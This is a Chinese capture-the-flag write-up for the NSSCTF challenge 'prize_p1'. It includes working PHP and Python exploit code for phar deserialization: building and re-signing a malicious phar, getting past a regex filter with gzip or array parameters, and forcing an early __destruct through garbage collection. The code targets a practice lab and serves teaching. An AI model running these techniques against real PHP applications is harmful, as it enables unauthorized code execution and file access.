[NSSCTF]prize_p1

前言

之前做了p5 才知道还有p1到p4

遂来做一下

顺便复习一下反序列化

prize_p1

php 复制代码
<META http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <?php
  highlight_file(__FILE__);
  class getflag
  {
    function __destruct()
    {
      echo getenv("FLAG");
    }
  }

  class A
  {
    public $config;
    function __destruct()
    {
      if ($this->config == 'w') {
        $data = $_POST[0];
        if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
          die("我知道你想干吗,我的建议是不要那样做。");
        }
        file_put_contents("./tmp/a.txt", $data);
      } else if ($this->config == 'r') {
        $data = $_POST[0];
        if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
          die("我知道你想干吗,我的建议是不要那样做。");
        }
        echo file_get_contents($data);
      }
    }
  }
  if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
    die("我知道你想干吗,我的建议是不要那样做。");
  }
  unserialize($_GET[0]);
  throw new Error("那么就从这里开始起航吧");

这里定义两个类

第一个类可以通过触发_destruct()得到flag

第二个类可以实现文件读写的功能

可以传两个变量 一个post一个get

因为get里面正则匹配过滤了getflag 我们没法用get传参直接反序列化触发getflag类

但是可以利用post 上传phar文件 再用phar协议读取

就可以反序列化class getflag

从而触发__destruct()魔术方法 echo flag

那么我们第一步先生成phar文件

php 复制代码
<?php
highlight_file(__FILE__); // 将当前PHP文件的内容进行语法高亮并输出到页面上

class getflag // 定义一个名为 Testobj 的类
{
   // 声明一个属性 $output,初始值为空字符串
}

@unlink('test.phar');   // 删除之前的 test.phar 文件(如果有),@ 符号用于抑制可能出现的文件不存在的警告
$phar = new Phar('test.phar');  // 创建一个名为 test.phar 的 PHAR 文件对象
$phar->startBuffering();  // 开始写入 PHAR 文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  // 使用 setStub 方法设置 PHAR 文件的启动器(stub),__HALT_COMPILER(); 是 PHP 的特殊标记,表示文件编译的结束
$o = new getflag(); // 创建了一个 Testobj 类的实例
$phar->setMetadata($o); // 将 $o 对象作为元数据写入到 PHAR 文件中,这种方法不再安全,可能导致安全漏洞
$phar->addFromString("test.txt", "test");  // 向 PHAR 文件中添加一个名为 test.txt 的文件,文件内容为字符串 "test"
$phar->stopBuffering(); // 停止写入 PHAR 文件

但是post里面也过滤了getflag

生成的phar文件里面还是包含getflag明文

类比之前做过一题phar反序列化 只要把

phar文件打成压缩包

(gzip bzip2 tar zip 这四个后缀同样也支持phar://读取)

传输进去的就是二进制流乱码 就可以绕过正则匹配

写个脚本上传一下

python 复制代码
import requests
import re
import gzip

url="http://node4.anna.nssctf.cn:28134/"

### 先将phar文件变成gzip文件
with open("./1.phar",'rb') as f1:
    phar_zip=gzip.open("gzip.zip",'wb')                  #创建了一个gzip文件的对象
    phar_zip.writelines(f1)                                #将phar文件的二进制流写入
    phar_zip.close()

###写入gzip文件
with open("gzip.zip",'rb') as f2:
    data1={0:f2.read()}           #利用gzip后全是乱码绕过               
    param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
    p1 = requests.post(url=url, params=param1,data=data1)

### 读gzip.zip文件,获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
p2=requests.post(url=url,params=param2,data=data2)
flag=re.compile('NSSCTF\{.*?\}').findall(p2.text)       
print(flag)

最后返回的结果为空

再回去看这个代码

要绕过这个异常

绕过异常

在进行phar操作的时候,通过file_get_contents函数利用phar协议来读取时,也是将里面的getflag类进行反序列化,因为这个异常,我们是不能执行getflag类中的__destruct方法的,所以我们需要绕过异常。那么我们可以在phar文件明文部分修改为

python 复制代码
a:2:{i:0;O:7:"getflag":{}i:0;N;}

怎么理解呢?这是一个数组,反序列化是按照顺序执行的,那么这个Array[0]首先是设置为getflag对象的,然后又将Array[0]赋值为NuLL,那么原来的getflag就没有被引用了,就会被GC机制回收从而触发__destruct方法。

重新生成phar文件

python 复制代码
<?php
highlight_file(__FILE__); // 将当前PHP文件的内容进行语法高亮并输出到页面上

class getflag // 定义一个名为 Testobj 的类
{
   // 声明一个属性 $output,初始值为空字符串
}

@unlink('test.phar');   // 删除之前的 test.phar 文件(如果有),@ 符号用于抑制可能出现的文件不存在的警告
$phar = new Phar('p1.phar');  // 创建一个名为 test.phar 的 PHAR 文件对象
$phar->startBuffering();  // 开始写入 PHAR 文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  // 使用 setStub 方法设置 PHAR 文件的启动器(stub),__HALT_COMPILER(); 是 PHP 的特殊标记,表示文件编译的结束
$o = new getflag(); // 创建了一个 Testobj 类的实例
$o = array(0=>$o,1=>null);
$phar->setMetadata($o); // 将 $o 对象作为元数据写入到 PHAR 文件中,这种方法不再安全,可能导致安全漏洞
$phar->addFromString("test.txt", "test");  // 向 PHAR 文件中添加一个名为 test.txt 的文件,文件内容为字符串 "test"
$phar->stopBuffering(); // 停止写入 PHAR 文件

但是我们一旦更改phar里的内容就要修改它的签名

修复签名的代码

python 复制代码
from hashlib import sha1
f = open('./p12.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('ph2.phar', 'wb').write(newf) # 写入新文件

再运行一下

python 复制代码
import requests
import re
import gzip

url="http://node4.anna.nssctf.cn:28134/"

### 先将phar文件变成gzip文件
with open("./ph2.phar",'rb') as f1:
    phar_zip=gzip.open("gzip.zip",'wb')                  #创建了一个gzip文件的对象
    phar_zip.writelines(f1)                                #将phar文件的二进制流写入
    phar_zip.close()

###写入gzip文件
with open("gzip.zip",'rb') as f2:
    data1={0:f2.read()}           #利用gzip后全是乱码绕过               
    param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
    p1 = requests.post(url=url, params=param1,data=data1)


### 读gzip.zip文件,获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
p2=requests.post(url=url,params=param2,data=data2)

flag=re.compile('NSSCTF\{.*?\}').findall(p2.text)
print(flag)

成功得到flag

看别的wp又学到这里用数组的话 不压缩也可以绕过正则

python 复制代码
import requests
import re

url="http://node4.anna.nssctf.cn:28134/"

### 写入phar文件
with open("ph2.phar",'rb') as f:
    data1={'0[]':f.read()}          #传数组绕过,值就是hacker1.phar文件的内容
    param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
    res1 = requests.post(url=url, params=param1,data=data1)

### 读phar文件,获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
res2=requests.post(url=url,params=param2,data=data2)
flag=re.compile('NSSCTF\{.*?\}').findall(res2.text)
print(flag)

原理如下:

preg_match与file_put_contents(php函数特性利用)

前面讲到了,一般在利用file_put_contents这类函数写phar文件之前会有preg_match这种函数的限制,但是这里我们利用php函数的特性,可以完全绕过这种限制,php中有一些函数不能处理数组,会直接返回false,从而实现绕过,而preg_match就是其中一个,而file_put_contents又恰好能把数组的内容也写入文件,所以这样的组合就等同于无视waf任意写

最后

总结一下这题的知识点

__destruct触发

对象的析构函数在对象被销毁时触发,对象被销毁的情况

正常销毁:

当整个程序生命周期结束前会销毁所有的对象

可以看到 在整个程序执行完后才触发了__destruct()魔术方法

手动释放变量销毁

使用unset函数释放变量

在程序执行完之前我们手动释放了变量

触发__destruct()魔术方法

gc回收未引用变量

面向对象的语言内部都有gc机制,来回收没有被引用的变量,所以这个时候也会触发__destruct

创建时就未被引用

这里创建对象的时候没有用变量来接收引用,所以也在echo "lll\n"之前就被gc回收触发析构函数

创建后人为消除引用

这里对象创建的时候是$a这个数组里面0索引指向引用的,在10行改变0索引指向null,这样就使得a的对象没有任何引用,所以也会在11行执行前,被gc回收销毁触发析构函数

这题就是用这个方法提前触发这个析构函数 从而绕过最后一行的抛出异常

preg_match与file_put_contents(php函数特性利用)

前面讲到了,一般在利用file_put_contents这类函数写phar文件之前会有preg_match这种函数的限制,但是这里我们利用php函数的特性,可以完全绕过这种限制,php中有一些函数不能处理数组,会直接返回false,从而实现绕过,而preg_match就是其中一个,而file_put_contents又恰好能把数组的内容也写入文件,所以这样的组合就等同于无视waf任意写

相关推荐
dancing99912 分钟前
Android Studio中Gradle 7.0上下项目配置及镜像修改
android·ide·android studio
EQ-雪梨蛋花汤1 小时前
【Part 2安卓原生360°VR播放器开发实战】第四节|安卓VR播放器性能优化与设备适配
android·性能优化·vr
每次的天空2 小时前
Android学习总结之kotlin篇(二)
android·学习·kotlin
刘洋浪子2 小时前
Android Studio中Gradle中Task列表显示不全解决方案
android·ide·android studio
橙子199110162 小时前
Kotlin 中 infix 关键字的原理和使用场景
android·开发语言·kotlin
后端码匠8 小时前
MySQL 8.0安装(压缩包方式)
android·mysql·adb
梓仁沐白10 小时前
Android清单文件
android
董可伦12 小时前
Dinky 安装部署并配置提交 Flink Yarn 任务
android·adb·flink
每次的天空13 小时前
Android学习总结之Glide自定义三级缓存(面试篇)
android·学习·glide
恋猫de小郭13 小时前
如何查看项目是否支持最新 Android 16K Page Size 一文汇总
android·开发语言·javascript·kotlin